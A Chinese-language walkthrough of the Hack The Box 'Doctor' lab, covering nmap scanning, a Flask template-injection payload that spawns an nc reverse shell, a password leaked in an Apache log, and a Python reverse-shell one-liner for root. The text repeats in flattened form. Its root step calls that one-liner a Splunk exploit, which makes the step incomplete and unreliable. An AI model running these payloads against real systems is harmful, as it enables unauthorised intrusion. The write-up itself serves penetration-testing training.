hack the box之doctor靶场练习
字数 1055 2025-08-10 22:08:13

Hack The Box: Doctor靶场渗透测试教学文档

1. 靶场概述

Doctor靶机是一个基于Web应用的渗透测试练习环境,主要涉及以下技术点:

  • 子域名枚举
  • SSTI (Server-Side Template Injection) 漏洞利用
  • 密码重置功能的信息泄露
  • Splunk服务的权限提升

2. 信息收集阶段

2.1 初始扫描

使用nmap进行端口扫描:

nmap -sV -p- 10.10.10.60

发现开放端口:

  • 22/tcp - SSH
  • 80/tcp - HTTP
  • 8089/tcp - Splunkd

2.2 Web服务枚举

80端口网站

  • 网站主题:诊所官网
  • 目录扫描发现:
    • /about.html
    • /contact.html
    • /images/
    • /js/

8089端口

  • 运行Splunk服务
  • 直接访问被重置,需要添加hosts记录

2.3 子域名发现

通过修改/etc/hosts文件添加:

10.10.10.60 doctor.htb

访问后发现网站与IP直接访问略有不同,可能存在虚拟主机配置。

3. 漏洞利用

3.1 用户注册与登录

  1. 注册测试账户:abcd/abcd
  2. 登录后发现可以创建帖子

3.2 SSTI漏洞发现与利用

  1. 尝试在帖子创建中使用SSTI payload:
    • {{7*7}} 等测试payload
  2. 查看页面源码发现注释:
    <!-- Testing new feature: /archive?post=test -->
    
  3. 访问/archive?post=test发现空白页,但源码中显示执行了1+1
  4. 确认存在SSTI漏洞后,构造反弹shell payload:
    {{request.application.__globals__.__builtins__.__import__('os').popen('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.4 4444 >/tmp/f').read()}}
    
  5. 成功获取反向shell

3.3 初始立足点

获取的shell权限为web用户:

whoami  # web

4. 权限提升

4.1 横向移动至shaun用户

  1. 枚举系统用户:

    • splunk
    • shaun
    • web
    • root
  2. 发现密码重置日志:

    cat /var/log/apache2/backup
    

    发现密码Guitar123

  3. 切换到shaun用户:

    su shaun
    

    使用密码Guitar123成功切换

  4. 获取user.txt flag

4.2 提权至root

  1. 发现8089端口运行Splunk服务
  2. 使用Splunk提权脚本:
    python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
    
  3. 成功获取root权限
  4. 获取root.txt flag

5. 关键点总结

  1. 子域名枚举:通过修改hosts文件发现不同内容
  2. SSTI漏洞:通过注释发现测试功能,利用Flask SSTI获取初始shell
  3. 密码泄露:通过日志文件发现明文密码
  4. Splunk提权:利用Splunk服务默认配置不当进行权限提升

6. 防御建议

  1. 避免在生产环境使用测试功能
  2. 对用户输入进行严格过滤,防止SSTI
  3. 日志文件不应包含敏感信息
  4. 服务账户应遵循最小权限原则
  5. 及时更新和修补已知漏洞
Hack The Box: Doctor靶场渗透测试教学文档 1. 靶场概述 Doctor靶机是一个基于Web应用的渗透测试练习环境,主要涉及以下技术点: 子域名枚举 SSTI (Server-Side Template Injection) 漏洞利用 密码重置功能的信息泄露 Splunk服务的权限提升 2. 信息收集阶段 2.1 初始扫描 使用nmap进行端口扫描: 发现开放端口: 22/tcp - SSH 80/tcp - HTTP 8089/tcp - Splunkd 2.2 Web服务枚举 80端口网站 网站主题:诊所官网 目录扫描发现: /about.html /contact.html /images/ /js/ 8089端口 运行Splunk服务 直接访问被重置,需要添加hosts记录 2.3 子域名发现 通过修改/etc/hosts文件添加: 访问后发现网站与IP直接访问略有不同,可能存在虚拟主机配置。 3. 漏洞利用 3.1 用户注册与登录 注册测试账户:abcd/abcd 登录后发现可以创建帖子 3.2 SSTI漏洞发现与利用 尝试在帖子创建中使用SSTI payload: {{7*7}} 等测试payload 查看页面源码发现注释: 访问/archive?post=test发现空白页,但源码中显示执行了 1+1 确认存在SSTI漏洞后,构造反弹shell payload: 成功获取反向shell 3.3 初始立足点 获取的shell权限为web用户: 4. 权限提升 4.1 横向移动至shaun用户 枚举系统用户: splunk shaun web root 发现密码重置日志: 发现密码 Guitar123 切换到shaun用户: 使用密码 Guitar123 成功切换 获取user.txt flag 4.2 提权至root 发现8089端口运行Splunk服务 使用Splunk提权脚本: 成功获取root权限 获取root.txt flag 5. 关键点总结 子域名枚举 :通过修改hosts文件发现不同内容 SSTI漏洞 :通过注释发现测试功能,利用Flask SSTI获取初始shell 密码泄露 :通过日志文件发现明文密码 Splunk提权 :利用Splunk服务默认配置不当进行权限提升 6. 防御建议 避免在生产环境使用测试功能 对用户输入进行严格过滤,防止SSTI 日志文件不应包含敏感信息 服务账户应遵循最小权限原则 及时更新和修补已知漏洞